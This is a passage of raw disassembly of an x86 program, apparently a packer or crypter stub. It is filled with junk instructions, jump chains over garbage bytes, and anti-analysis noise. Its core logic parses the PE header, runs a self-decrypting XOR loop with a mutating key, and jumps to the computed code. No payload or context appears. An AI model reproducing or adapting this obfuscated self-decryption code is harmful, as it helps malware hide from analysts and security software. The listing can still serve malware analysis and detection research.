		dd 622D4457h, 0AE29B0F3h, 0BAE5DC4Fh, 8661C86Bh, 129D7447h
		dd 5E99E0E3h, 6A550C3Fh
; ---------------------------------------------------------------------------
		pop	ebx
		clc


loc_40550A:				; CODE XREF: .text:004053CEj
					; .text:loc_4054DFj
		mov	edi, [edi]
		push	esi
		push	eax
		inc	eax
		jnz	short loc_405520
		cmp	al, 0DEh
		jbe	short loc_40551D
		push	edx
		pop	eax
		push	ebp
		pop	eax
		not	eax
		cmp	esi, ebx


loc_40551D:				; CODE XREF: .text:00405513j
		test	ecx, ebp
		dec	esi


loc_405520:				; CODE XREF: .text:0040550Fj
		inc	eax
		cld
		pop	eax
		pop	esi


loc_405524:				; CODE XREF: .text:0040555Fj
		cmp	[esp], edi
		jnz	loc_4053CB
		push	esi
		push	eax
		rcl	esi, 7Ch
		cmp	dh, cl
		test	eax, esp
		cld
		pop	eax
		pop	esi


loc_405539:				; CODE XREF: .text:loc_4054A4j
		mov	ebx, ebp
		push	ecx
		push	esi
		mov	ecx, 808F1Ah
		mov	cx, 48F9h
		push	esp
		pop	ecx
		xor	ecx, esi
		clc
		inc	ecx
		cld
		pop	esi
		pop	ecx
		add	ebx, [ebx+3Ch]
		jmp	short loc_405562
; ---------------------------------------------------------------------------
		lds	ebx, [edx]
		dec	ebx
		sub	[ecx-1Ah], al
		daa


loc_40555B:				; CODE XREF: .text:loc_405562j
		jmp	short loc_405589
; ---------------------------------------------------------------------------
		aam	7Dh
		jb	short loc_405524
		inc	eax


loc_405562:				; CODE XREF: .text:00405552j
		jmp	short loc_40555B
; ---------------------------------------------------------------------------
		dd 6C1FBE79h, 583BCA35h, 41796B1h, 70B322EDh, 9C0F6EE9h
		dd 882B7AA5h, 34074621h, 0A0A3D25Dh, 0CCFF1E59h
		db 15h
; ---------------------------------------------------------------------------


loc_405589:				; CODE XREF: .text:loc_40555Bj
		mov	eax, [ebx+34h]
		jmp	short loc_4055B8
; ---------------------------------------------------------------------------
		dw 0F691h
		dd 82CD64F7h, 0CEC9D093h, 0DA85FCEFh
		db 0Bh
; ---------------------------------------------------------------------------


loc_40559D:				; CODE XREF: .text:loc_4055B8j
		jmp	short loc_4055CF
; ---------------------------------------------------------------------------
		db 0E8h
		dd 94E7A601h, 83323Dh, 2CDF7E39h, 18FB8AF5h, 0C4D75671h
		dd 3073E2ADh
; ---------------------------------------------------------------------------


loc_4055B8:				; CODE XREF: .text:0040558Cj
		jmp	short loc_40559D
; ---------------------------------------------------------------------------
		dw 2EA9h
		dd 3A655CCFh, 6E148EBh,	921DF4C7h, 0DE196063h
		db 0BFh, 8Ch, 0D5h
; ---------------------------------------------------------------------------


loc_4055CF:				; CODE XREF: .text:loc_40559Dj
		sub	eax, ebp
		jmp	short loc_4055FD
; ---------------------------------------------------------------------------
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop


loc_4055DA:				; CODE XREF: .text:loc_4055FDj
		jmp	short loc_40560D
; ---------------------------------------------------------------------------
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h
		dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h, 84971631h
		dd 0F033A26Dh
		db 69h
; ---------------------------------------------------------------------------


loc_4055FD:				; CODE XREF: .text:004055D1j
		jmp	short loc_4055DA
; ---------------------------------------------------------------------------
		db 0EEh
		dd 0FA251C8Fh, 0C6A108ABh, 52DDB487h
		db 23h
; ---------------------------------------------------------------------------


loc_40560D:				; CODE XREF: .text:loc_4055DAj
		push	10000001h
		push	ebx
		push	ecx
		mov	ecx, 80A09Ah
		not	ecx
		jns	loc_405627
		lea	ebx, ds:81151Ah


loc_405627:				; CODE XREF: .text:0040561Bj
		cmp	al, 0D7h
		inc	ecx
		inc	ebx
		cld
		pop	ecx
		pop	ebx
		pop	edx
		jmp	short loc_40565F
; ---------------------------------------------------------------------------
		db 38h,	11h, 76h
		dd 24DE477h
; ---------------------------------------------------------------------------


loc_405638:				; CODE XREF: .text:loc_40565Fj
		jmp	short loc_40566F
; ---------------------------------------------------------------------------
		dw 5013h
		dd 7C6F4E49h, 688B5A05h, 14672681h, 8003B2BDh, 0AC5FFEB9h
		dd 987B0A75h, 4457D6F1h, 0B0F3622Dh
		db 29h,	0AEh, 4Fh
; ---------------------------------------------------------------------------


loc_40565F:				; CODE XREF: .text:0040562Fj
		jmp	short loc_405638
; ---------------------------------------------------------------------------
		db 0DCh, 0E5h, 0BAh
		db 6Bh
; ---------------------------------------------------------------------------


loc_405665:				; CODE XREF: .text:loc_40566Fj
		jmp	short loc_405692
; ---------------------------------------------------------------------------
		db 0C8h
; ---------------------------------------------------------------------------
		popa
		xchg	al, [edi+74h]
		popf
		adc	ah, bl


loc_40566F:				; CODE XREF: .text:loc_405638j
		jmp	short loc_405665
; ---------------------------------------------------------------------------
		db 0E0h, 99h, 5Eh
		dd 6A550C3Fh, 36D1F85Bh, 0C20DA437h, 0E0910D3h,	1AC53C2Fh
		dd 0E641284Bh, 727DD427h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		inc	eax


loc_405692:				; CODE XREF: .text:loc_405665j
		add	edx, ebp
		jmp	short loc_4056BF
; ---------------------------------------------------------------------------
		dw 356Ch
		db 0CAh
; ---------------------------------------------------------------------------


loc_405699:				; CODE XREF: .text:loc_4056BFj
		jmp	short loc_4056D2
; ---------------------------------------------------------------------------
		db 3Bh
		dd 1796B158h, 0B322ED04h, 0F6EE970h, 2B7AA59Ch,	7462188h
		dd 0A3D25D34h, 0FF1E59A0h, 1B2A15CCh
		db 0B8h, 91h, 0F6h
; ---------------------------------------------------------------------------


loc_4056BF:				; CODE XREF: .text:00405694j
		jmp	short loc_405699
; ---------------------------------------------------------------------------
		db 0F7h, 64h, 0CDh
		dd 0C9D09382h, 85FCEFCEh, 1E80BDAh
		db 0A6h, 0E7h
; ---------------------------------------------------------------------------


loc_4056D2:				; CODE XREF: .text:loc_405699j
		add	edx, 0Dh
		push	esi
		push	eax
		mov	eax, edi
		mov	esi, ebp
		ror	esi, 0FCh
		cld
		pop	eax
		pop	esi
		push	10000001h
		push	ecx
		push	ebx
		jmp	$+5
		push	ebx
		pop	ebx
		mov	ebx, 8109DAh
		test	cl, ah
		dec	ebx
		not	ecx
		cmp	al, ch
		xor	ecx, eax
		stc
		inc	ebx
		cld
		pop	ebx
		pop	ecx
		pop	ecx
		jmp	short loc_405733
; ---------------------------------------------------------------------------
		db 18h,	71h, 56h
		db 0D7h, 0C4h
; ---------------------------------------------------------------------------


loc_40570A:				; CODE XREF: .text:loc_405733j
		jmp	short loc_40574A
; ---------------------------------------------------------------------------
		dd 3073E2ADh, 5CCF2EA9h, 48EB3A65h, 0F4C706E1h,	6063921Dh
		dd 8CBFDE19h, 78DBEAD5h, 24B7B651h, 9053428Dh
		db 89h,	8Eh, 0AFh
; ---------------------------------------------------------------------------


loc_405733:				; CODE XREF: .text:00405703j
		jmp	short loc_40570A
; ---------------------------------------------------------------------------
		db 0BCh, 45h, 9Ah
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		test	al, 0C1h


loc_40573B:				; CODE XREF: .text:loc_40574Aj
		jmp	short loc_405769
; ---------------------------------------------------------------------------
		db 66h,	0A7h, 54h
		dd 0C043F2FDh, 0EC9F3EF9h
; ---------------------------------------------------------------------------
		mov	ch, 4Ah


loc_40574A:				; CODE XREF: .text:loc_40570Aj
		jmp	short loc_40573B
; ---------------------------------------------------------------------------


loc_40574C:				; CODE XREF: .text:loc_405769j
		jmp	short loc_405779
; ---------------------------------------------------------------------------
		dw 0D8BBh
		dd 84971631h, 0F033A26Dh, 1C8FEE69h, 8ABFA25h, 0B487C6A1h
		dd 202352DDh
		db 0D9h
; ---------------------------------------------------------------------------


loc_405769:				; CODE XREF: .text:loc_40573Bj
		jmp	short loc_40574C
; ---------------------------------------------------------------------------
		db 9Eh
		dd 0AA954C7Fh, 7611389Bh, 24DE477h
		db 13h
; ---------------------------------------------------------------------------


loc_405779:				; CODE XREF: .text:loc_40574Cj
		sub	ecx, eax
		push	edi
		push	ebx
		neg	ebx
		dec	ebx
		cld
		pop	ebx
		pop	edi
		mov	[edx], ecx
		jmp	short loc_4057B5
; ---------------------------------------------------------------------------
		db 14h
		dd 8003B2BDh
		db 0B9h, 0FEh
; ---------------------------------------------------------------------------


loc_40578E:				; CODE XREF: .text:loc_4057B5j
		jmp	short loc_4057C6
; ---------------------------------------------------------------------------
		dd 0A75AC5Fh, 0D6F1987Bh, 622D4457h, 0AE29B0F3h, 0BAE5DC4Fh
		dd 8661C86Bh, 129D7447h, 5E99E0E3h, 6A550C3Fh
; ---------------------------------------------------------------------------
		pop	ebx


loc_4057B5:				; CODE XREF: .text:00405785j
		jmp	short loc_40578E
; ---------------------------------------------------------------------------
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb


loc_4057BC:				; CODE XREF: .text:loc_4057C6j
		jmp	short loc_4057E9
; ---------------------------------------------------------------------------
		dw 0C20Dh
		dd 0E0910D3h
		db 2Fh,	3Ch
; ---------------------------------------------------------------------------


loc_4057C6:				; CODE XREF: .text:loc_40578Ej
		jmp	short loc_4057BC
; ---------------------------------------------------------------------------
		db 0C5h
; ---------------------------------------------------------------------------


loc_4057C9:				; CODE XREF: .text:loc_4057E9j
		jmp	short loc_4057FA
; ---------------------------------------------------------------------------
		db 1Ah
		dd 0E641284Bh, 727DD427h, 0BE7940C3h, 0CA356C1Fh, 96B1583Bh
		dd 22ED0417h, 6EE970B3h
		db 0Fh
; ---------------------------------------------------------------------------


loc_4057E9:				; CODE XREF: .text:loc_4057BCj
		jmp	short loc_4057C9
; ---------------------------------------------------------------------------
		db 9Ch
		dd 882B7AA5h, 34074621h, 0A0A3D25Dh
; ---------------------------------------------------------------------------
		pop	ecx
		push	ds


loc_4057FA:				; CODE XREF: .text:004051FEj
					; .text:loc_4057C9j
		popa
		push	edi
		push	esi
		push	ebp
		pop	edi
		mov	di, 49E2h
		mov	edi, 80AA1Ah
		mov	esi, 818922h
		test	ecx, ecx
		cld
		cld
		pop	esi
		pop	edi
		call	near ptr sub_403611
		push	edi
		push	esi
		jmp	$+5
		std
		xchg	esi, edi
		mov	edi, 80AADAh
		xor	esi, esp
		cld
		pop	esi
		pop	edi
		add	eax, 107E0h
		jmp	short loc_40584E
; ---------------------------------------------------------------------------
		db 82h
		db 93h,	0D0h
; ---------------------------------------------------------------------------


loc_405836:				; CODE XREF: .text:loc_40584Ej
		jmp	short loc_405861
; ---------------------------------------------------------------------------
		dd 0FCEFCEC9h, 0E80BDA85h, 94E7A601h, 83323Dh, 2CDF7E39h
		db 0F5h, 8Ah
; ---------------------------------------------------------------------------


loc_40584E:				; CODE XREF: .text:00405831j
		jmp	short loc_405836
; ---------------------------------------------------------------------------
		db 0FBh, 18h, 71h
; ---------------------------------------------------------------------------


loc_405853:				; CODE XREF: .text:loc_405861j
		jmp	short loc_405884
; ---------------------------------------------------------------------------
		db 56h,	0D7h, 0C4h
		dd 3073E2ADh, 5CCF2EA9h
		db 65h
; ---------------------------------------------------------------------------


loc_405861:				; CODE XREF: .text:loc_405836j
		jmp	short loc_405853
; ---------------------------------------------------------------------------
		db 3Ah
; ---------------------------------------------------------------------------
		jmp	short loc_4058AE
; ---------------------------------------------------------------------------
		dw 6E1h
; ---------------------------------------------------------------------------


loc_405868:				; CODE XREF: .text:loc_405884j
		jmp	short loc_405897
; ---------------------------------------------------------------------------
		dw 0F4C7h
		dd 6063921Dh, 8CBFDE19h, 78DBEAD5h, 24B7B651h, 9053428Dh
		dd 0BCAF8E89h
; ---------------------------------------------------------------------------


loc_405884:				; CODE XREF: .text:loc_405853j
		jmp	short loc_405868
; ---------------------------------------------------------------------------
		dw 9A45h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
		dd 0F2FD54A7h, 3EF9C043h
		db 9Fh,	0ECh, 0B5h
; ---------------------------------------------------------------------------


loc_405897:				; CODE XREF: .text:loc_405868j
		jmp	eax
; ---------------------------------------------------------------------------
		db 56h,	53h, 66h
		dd 0F74A67BEh, 4B5B54D3h, 0A91AE381h, 0E53B0080h
		db 66h,	0BEh
; ---------------------------------------------------------------------------


loc_4058AE:				; CODE XREF: .text:00405864j
		test	dword ptr [eax-0Dh], 0DE87F58Bh
		dec	ebx
		cld
		pop	ebx
		pop	esi

; =============== S U B	R O U T	I N E =======================================



sub_4058B9	proc far		; CODE XREF: .text:00404BF4p
					; .text:00404D6Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	eax
		push	edx
		mov	eax, ebp
		push	edx
		pop	edx
		mov	ax, 48F5h
		xor	edx, edx
		rep dec	eax
		test	al, ah
		dec	eax
		cld
		pop	edx
		pop	eax
		push	edi
		jmp	short loc_4058E7
; ---------------------------------------------------------------------------
		db 6Dh,	0A2h, 33h
		dd 8FEE69F0h
; ---------------------------------------------------------------------------


loc_4058D8:				; CODE XREF: sub_4058B9:loc_4058E7j
		jmp	short loc_405906
; ---------------------------------------------------------------------------
		sbb	al, 25h
		cli
		stosd
		or	[ecx-224B783Ah], ah
		push	edx
		and	esp, [eax]


loc_4058E7:				; CODE XREF: sub_4058B9+16j
		jmp	short loc_4058D8
; ---------------------------------------------------------------------------
		db 0D9h, 9Eh, 7Fh
		dd 9BAA954Ch, 77761138h, 13024DE4h, 6F4E4950h, 8B5A057Ch
		dd 67268168h
; ---------------------------------------------------------------------------
		adc	al, 0BDh


loc_405906:				; CODE XREF: sub_4058B9:loc_4058D8j
		push	ecx
		jmp	short loc_405933
; ---------------------------------------------------------------------------
		db 0Ah,	7Bh
; ---------------------------------------------------------------------------


loc_40590B:				; CODE XREF: sub_4058B9:loc_405933j
		jmp	short loc_405946
; ---------------------------------------------------------------------------
		db 98h,	0F1h, 0D6h
		dd 622D4457h, 0AE29B0F3h, 0BAE5DC4Fh, 8661C86Bh, 129D7447h
		dd 5E99E0E3h, 6A550C3Fh, 36D1F85Bh
		db 37h,	0A4h, 0Dh
; ---------------------------------------------------------------------------


loc_405933:				; CODE XREF: sub_4058B9+4Ej
		jmp	short loc_40590B
; ---------------------------------------------------------------------------
		db 0C2h, 0D3h, 10h
; ---------------------------------------------------------------------------


loc_405938:				; CODE XREF: sub_4058B9:loc_405946j
		jmp	short loc_405969
; ---------------------------------------------------------------------------
		dw 0E09h
		dd 1AC53C2Fh, 0E641284Bh
		db 27h,	0D4h
; ---------------------------------------------------------------------------


loc_405946:				; CODE XREF: sub_4058B9:loc_40590Bj
		jmp	short loc_405938
; ---------------------------------------------------------------------------
		jge	short loc_4059BC
		retn
; ---------------------------------------------------------------------------
		db 40h
		db 79h
; ---------------------------------------------------------------------------


loc_40594D:				; CODE XREF: sub_4058B9:loc_405969j
		jmp	short loc_40597C
; ---------------------------------------------------------------------------
		mov	esi, 0CA356C1Fh
		cmp	ebx, [eax-4Fh]
		xchg	eax, esi
		pop	ss
		add	al, 0EDh
		and	dh, [ebx+0F6EE970h]
		pushf
		movsd
		jp	short loc_405990
		mov	[ecx], ah
		inc	esi
		pop	es


loc_405969:				; CODE XREF: sub_4058B9:loc_405938j
		jmp	short loc_40594D
; ---------------------------------------------------------------------------
		xor	al, 5Dh
		shl	byte ptr [ebx-0E1A660h], cl


loc_405973:				; CODE XREF: sub_4058B9+D9j
		int	3		; Trap to Debugger
		adc	eax, 91B81B2Ah
		div	bh
; ---------------------------------------------------------------------------
		db 64h
; ---------------------------------------------------------------------------


loc_40597C:				; CODE XREF: sub_4058B9:loc_40594Dj
		mov	ecx, [esp+18h]
		jmp	short loc_4059AF
; ---------------------------------------------------------------------------
		cld
		test	ebx, edx


loc_405985:				; CODE XREF: sub_4058B9:loc_4059AFj
		jmp	short loc_4059C2
; ---------------------------------------------------------------------------
		db 0Bh
		dd 0E7A601E8h, 83323D94h
; ---------------------------------------------------------------------------


loc_405990:				; CODE XREF: sub_4058B9+AAj
		add	[ecx], bh
		jle	short loc_405973
		sub	al, 0F5h
		mov	bh, bl
		sbb	[ecx+56h], dh
		xlat
		les	ebp, [ebp-56CF8C1Eh]
		db	2Eh
		iret
; ---------------------------------------------------------------------------
		dd 0EB3A655Ch, 0C706E148h
		db 0F4h, 1Dh, 92h
; ---------------------------------------------------------------------------


loc_4059AF:				; CODE XREF: sub_4058B9+C7j
		jmp	short loc_405985
; ---------------------------------------------------------------------------
		db 63h
; ---------------------------------------------------------------------------


loc_4059B2:				; CODE XREF: sub_4058B9:loc_4059C2j
		jmp	short loc_4059DD
; ---------------------------------------------------------------------------
		pusha
		sbb	esi, ebx
		mov	edi, 0DBEAD58Ch


loc_4059BC:				; CODE XREF: sub_4058B9+8Fj
		js	short near ptr loc_405A0E+1
		mov	dh, 0B7h
		and	al, 8Dh


loc_4059C2:				; CODE XREF: sub_4058B9:loc_405985j
		jmp	short loc_4059B2
; ---------------------------------------------------------------------------
		inc	edx
		push	ebx
		nop


loc_4059C7:				; CODE XREF: sub_4058B9:loc_4059DDj
		jmp	short loc_4059F8
; ---------------------------------------------------------------------------
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		dd 0A766C1A8h, 43F2FD54h, 9F3EF9C0h
		db 0ECh
; ---------------------------------------------------------------------------


loc_4059DD:				; CODE XREF: sub_4058B9:loc_4059B2j
		jmp	short loc_4059C7
; ---------------------------------------------------------------------------
		mov	ch, 4Ah
		mov	ebx, 971631D8h
		test	[ebp-5Eh], ch
		xor	esi, eax
		imul	ebp, esi, 0FA251C8Fh
		stosd
		or	[ecx-224B783Ah], ah


loc_4059F8:				; CODE XREF: sub_4058B9:loc_4059C7j
		sub	ecx, 4
		push	ebx
		push	eax
		test	eax, ebp
		cmp	al, 0D5h
		mov	ebx, esp
		xchg	ebx, eax
		jnz	short loc_405A0C
		mov	eax, 808C1Ah


loc_405A0C:				; CODE XREF: sub_4058B9+14Cj
					; sub_4058B9+1B4j
		xor	eax, edi


loc_405A0E:				; CODE XREF: sub_4058B9:loc_4059BCj
		lea	eax, ds:81169Ah
		cld
		pop	eax
		pop	ebx
		mov	edi, ebp
		push	ebx
		push	ecx
		cmp	ch, al
		not	ebx
		push	esp
		pop	ebx
		mov	ecx, 80911Ah
		neg	ecx
		push	ebx
		pop	ebx
		cld
		pop	ecx
		pop	ebx
		mov	eax, [esp+10h]
		jmp	short loc_405A61
; ---------------------------------------------------------------------------
		db 38h
		dd 0E4777611h
		db 4Dh,	2
; ---------------------------------------------------------------------------


loc_405A3A:				; CODE XREF: sub_4058B9:loc_405A61j
		jmp	short loc_405A71
; ---------------------------------------------------------------------------
		dd 4E495013h, 5A057C6Fh, 2681688Bh, 0B2BD1467h,	0FEB98003h
		dd 0A75AC5Fh, 0D6F1987Bh, 622D4457h, 0AE29B0F3h
; ---------------------------------------------------------------------------
		dec	edi


loc_405A61:				; CODE XREF: sub_4058B9+178j
		jmp	short loc_405A3A
; ---------------------------------------------------------------------------
		db 0DCh
		db 0E5h, 0BAh, 6Bh
; ---------------------------------------------------------------------------


loc_405A67:				; CODE XREF: sub_4058B9:loc_405A71j
		jmp	short loc_405A94
; ---------------------------------------------------------------------------
		enter	0FFFF8661h, 47h
		jz	short loc_405A0C
		adc	ah, bl


loc_405A71:				; CODE XREF: sub_4058B9:loc_405A3Aj
		jmp	short loc_405A67
; ---------------------------------------------------------------------------
		db 0E0h
		dd 0C3F5E99h, 0F85B6A55h, 0A43736D1h, 10D3C20Dh, 3C2F0E09h
		dd 284B1AC5h, 0D427E641h, 40C3727Dh
; ---------------------------------------------------------------------------


loc_405A94:				; CODE XREF: sub_4058B9:loc_405A67j
		add	edi, eax
		push	eax
		push	ebx
		neg	eax
		lea	eax, ds:80A1DAh
		test	eax, ebx
		repne cld
		pop	ebx
		pop	eax
		mov	eax, [esp+14h]
		jmp	short loc_405ACB
; ---------------------------------------------------------------------------
		db 0CAh, 3Bh, 58h
; ---------------------------------------------------------------------------


loc_405AAF:				; CODE XREF: sub_4058B9:loc_405ACBj
		jmp	short loc_405ADE
; ---------------------------------------------------------------------------
		db 0B1h, 96h, 17h
		dd 0B322ED04h, 0F6EE970h, 2B7AA59Ch, 7462188h, 0A3D25D34h
		db 0A0h, 59h, 1Eh
; ---------------------------------------------------------------------------


loc_405ACB:				; CODE XREF: sub_4058B9+1F1j
		jmp	short loc_405AAF
; ---------------------------------------------------------------------------
		db 0FFh, 0CCh, 15h
		dd 91B81B2Ah, 0CD64F7F6h, 0C9D09382h
		db 0CEh, 0EFh
; ---------------------------------------------------------------------------


loc_405ADE:				; CODE XREF: sub_4058B9:loc_405AAFj
		xor	[ecx+edi], eax
		push	ebx
		push	eax
		push	ecx
		pop	eax
		cmp	cl, bh
		mov	eax, 80881Ah
		or	eax, 82925Ah
		xor	ebx, esi
		not	eax
		dec	ebx
		push	ebx
		pop	eax
		dec	ebx
		cld
		pop	eax
		pop	ebx
		dec	ecx
		push	edi
		push	ebx
		xchg	edi, ebx
		inc	edi
		xor	edi, edx
		inc	ebx
		std
		cld
		pop	ebx
		pop	edi


loc_405B0A:				; CODE XREF: sub_4058B9+C94j
		add	eax, 0A61FDF28h
		jmp	short loc_405B41
; ---------------------------------------------------------------------------
		db 94h,	3Dh
; ---------------------------------------------------------------------------


loc_405B13:				; CODE XREF: sub_4058B9:loc_405B41j
		jmp	short loc_405B5C
; ---------------------------------------------------------------------------
		db 32h,	83h, 0
		dd 2CDF7E39h, 18FB8AF5h, 0C4D75671h, 3073E2ADh,	5CCF2EA9h
		dd 48EB3A65h, 0F4C706E1h, 6063921Dh, 8CBFDE19h,	78DBEAD5h
; ---------------------------------------------------------------------------
		push	ecx


loc_405B41:				; CODE XREF: sub_4058B9+256j
		jmp	short loc_405B13
; ---------------------------------------------------------------------------
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
		dd 0F2FD54A7h, 3EF9C043h
; ---------------------------------------------------------------------------


loc_405B5C:				; CODE XREF: sub_4058B9:loc_405B13j
		sub	eax, 5EFBCB53h
		jmp	short loc_405B92
; ---------------------------------------------------------------------------
		fdiv	dword ptr [ecx]
		push	ss


loc_405B66:				; CODE XREF: sub_4058B9:loc_405B92j
		jmp	short loc_405BA5
; ---------------------------------------------------------------------------
		dd 0A26D8497h, 0EE69F033h, 0FA251C8Fh, 0C6A108ABh, 52DDB487h
		dd 9ED92023h, 0AA954C7Fh, 7611389Bh, 24DE477h, 4E495013h
		db 6Fh,	7Ch
; ---------------------------------------------------------------------------


loc_405B92:				; CODE XREF: sub_4058B9+2A8j
		jmp	short loc_405B66
; ---------------------------------------------------------------------------
		dd 688B5A05h
		db 81h,	26h, 67h
; ---------------------------------------------------------------------------


loc_405B9B:				; CODE XREF: sub_4058B9:loc_405BA5j
		jmp	short loc_405BC8
; ---------------------------------------------------------------------------
		db 14h,	0BDh, 0B2h
		dd 0FEB98003h
; ---------------------------------------------------------------------------
		pop	edi


loc_405BA5:				; CODE XREF: sub_4058B9:loc_405B66j
		jmp	short loc_405B9B
; ---------------------------------------------------------------------------
		db 0ACh
		dd 987B0A75h, 4457D6F1h, 0B0F3622Dh, 0DC4FAE29h, 0C86BBAE5h
		dd 74478661h, 0E0E3129Dh, 0C3F5E99h
; ---------------------------------------------------------------------------


loc_405BC8:				; CODE XREF: sub_4058B9:loc_405B9Bj
		sub	eax, 30624DFAh
		jmp	short loc_405BFC
; ---------------------------------------------------------------------------
		db 0A4h
		db 0Dh,	0C2h
; ---------------------------------------------------------------------------


loc_405BD2:				; CODE XREF: sub_4058B9:loc_405BFCj
		jmp	short loc_405C0F
; ---------------------------------------------------------------------------
		dd 0E0910D3h, 1AC53C2Fh, 0E641284Bh, 727DD427h,	0BE7940C3h
		dd 0CA356C1Fh, 96B1583Bh, 22ED0417h, 6EE970B3h,	7AA59C0Fh
; ---------------------------------------------------------------------------


loc_405BFC:				; CODE XREF: sub_4058B9+314j
		jmp	short loc_405BD2
; ---------------------------------------------------------------------------
		db 2Bh
; ---------------------------------------------------------------------------


loc_405BFF:				; CODE XREF: sub_4058B9:loc_405C0Fj
		jmp	short loc_405C2A
; ---------------------------------------------------------------------------
		db 88h,	21h, 46h
		dd 0D25D3407h, 1E59A0A3h
		db 0FFh, 0CCh, 15h
; ---------------------------------------------------------------------------


loc_405C0F:				; CODE XREF: sub_4058B9:loc_405BD2j
		jmp	short loc_405BFF
; ---------------------------------------------------------------------------
		db 2Ah,	1Bh, 0B8h
; ---------------------------------------------------------------------------


loc_405C14:				; CODE XREF: sub_4058B9:loc_405C2Aj
		jmp	short loc_405C45
; ---------------------------------------------------------------------------
		dw 0F691h
		dd 82CD64F7h, 0CEC9D093h, 0DA85FCEFh, 0A601E80Bh
		db 0E7h, 94h
; ---------------------------------------------------------------------------


loc_405C2A:				; CODE XREF: sub_4058B9:loc_405BFFj
		jmp	short loc_405C14
; ---------------------------------------------------------------------------
		dd 83323Dh, 2CDF7E39h, 18FB8AF5h, 0C4D75671h, 3073E2ADh
		dd 5CCF2EA9h
		db 65h
; ---------------------------------------------------------------------------


loc_405C45:				; CODE XREF: sub_4058B9:loc_405C14j
		ror	eax, 75h
		jmp	short loc_405C74
; ---------------------------------------------------------------------------
		push	es
		mov	esp, 6063921Dh


loc_405C51:				; CODE XREF: sub_4058B9:loc_405C74j
		jmp	short loc_405C84
; ---------------------------------------------------------------------------
		sbb	esi, ebx
		mov	edi, 0DBEAD58Ch
		js	short loc_405CAD
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		dw 0C1A8h
		dd 0FD54A766h, 0F9C043F2h
; ---------------------------------------------------------------------------


loc_405C74:				; CODE XREF: sub_4058B9+38Fj
		jmp	short loc_405C51
; ---------------------------------------------------------------------------
		dw 9F3Eh
		dd 0BB4AB5ECh, 971631D8h, 33A26D84h
; ---------------------------------------------------------------------------


loc_405C84:				; CODE XREF: sub_4058B9:loc_405C51j
		ror	eax, 0B9h
		jmp	short loc_405CB9
; ---------------------------------------------------------------------------
		db 8Fh,	1Ch, 25h
		dd 0A108ABFAh
; ---------------------------------------------------------------------------


loc_405C90:				; CODE XREF: sub_4058B9:loc_405CB9j
		jmp	short loc_405CD0
; ---------------------------------------------------------------------------
		dw 87C6h
		dd 2352DDB4h, 7F9ED920h, 9BAA954Ch, 77761138h, 13024DE4h
		dd 6F4E4950h
		db 7Ch
; ---------------------------------------------------------------------------


loc_405CAD:				; CODE XREF: sub_4058B9+3A1j
		add	eax, 81688B5Ah
		db	26h, 67h
		adc	al, 0BDh
		mov	dl, 3
; ---------------------------------------------------------------------------
		db 80h
; ---------------------------------------------------------------------------


loc_405CB9:				; CODE XREF: sub_4058B9+3CEj
		jmp	short loc_405C90
; ---------------------------------------------------------------------------
		mov	ecx, 75AC5FFEh
		or	bh, [ebx-68h]
		icebp
		setalc
		push	edi
		inc	esp
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st


loc_405CD0:				; CODE XREF: sub_4058B9:loc_405C90j
		xor	ax, 0FA74h
		jmp	short loc_405D00
; ---------------------------------------------------------------------------
		dw 9D74h
		dd 99E0E312h
; ---------------------------------------------------------------------------
		pop	esi


loc_405CDD:				; CODE XREF: sub_4058B9:loc_405D00j
		jmp	short loc_405D10
; ---------------------------------------------------------------------------
		db 3Fh
		dd 5B6A550Ch, 3736D1F8h, 0D3C20DA4h, 2F0E0910h,	4B1AC53Ch
		dd 27E64128h, 0C3727DD4h, 1FBE7940h
; ---------------------------------------------------------------------------


loc_405D00:				; CODE XREF: sub_4058B9+41Bj
		jmp	short loc_405CDD
; ---------------------------------------------------------------------------


loc_405D02:				; CODE XREF: sub_4058B9:loc_405D10j
		jmp	short loc_405D33
; ---------------------------------------------------------------------------
		dd 3BCA356Ch, 1796B158h, 0B322ED04h
; ---------------------------------------------------------------------------


loc_405D10:				; CODE XREF: sub_4058B9:loc_405CDDj
		jmp	short loc_405D02
; ---------------------------------------------------------------------------
		dw 0E970h
		dd 0A59C0F6Eh, 21882B7Ah, 5D340746h, 59A0A3D2h,	15CCFF1Eh
		dd 91B81B2Ah, 0CD64F7F6h
		db 82h,	93h, 0D0h
; ---------------------------------------------------------------------------


loc_405D33:				; CODE XREF: sub_4058B9:loc_405D02j
		xor	eax, 0F9571282h
		jmp	short loc_405D63
; ---------------------------------------------------------------------------
		dw 0BDAh
		db 0E8h
; ---------------------------------------------------------------------------


loc_405D3D:				; CODE XREF: sub_4058B9:loc_405D63j
		jmp	short loc_405D76
; ---------------------------------------------------------------------------
		db 1
		dd 3D94E7A6h, 39008332h, 0F52CDF7Eh, 7118FB8Ah,	0ADC4D756h
		dd 0A93073E2h, 655CCF2Eh, 0E148EB3Ah
		db 6, 0C7h, 0F4h
; ---------------------------------------------------------------------------


loc_405D63:				; CODE XREF: sub_4058B9+47Fj
		jmp	short loc_405D3D
; ---------------------------------------------------------------------------
		sbb	eax, 19606392h


loc_405D6A:				; CODE XREF: sub_4058B9:loc_405D76j
		jmp	short loc_405D99
; ---------------------------------------------------------------------------
		fidivr	word ptr [edi-24152A74h]
		js	short loc_405DC5
		mov	dh, 0B7h


loc_405D76:				; CODE XREF: sub_4058B9:loc_405D3Dj
		jmp	short loc_405D6A
; ---------------------------------------------------------------------------
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
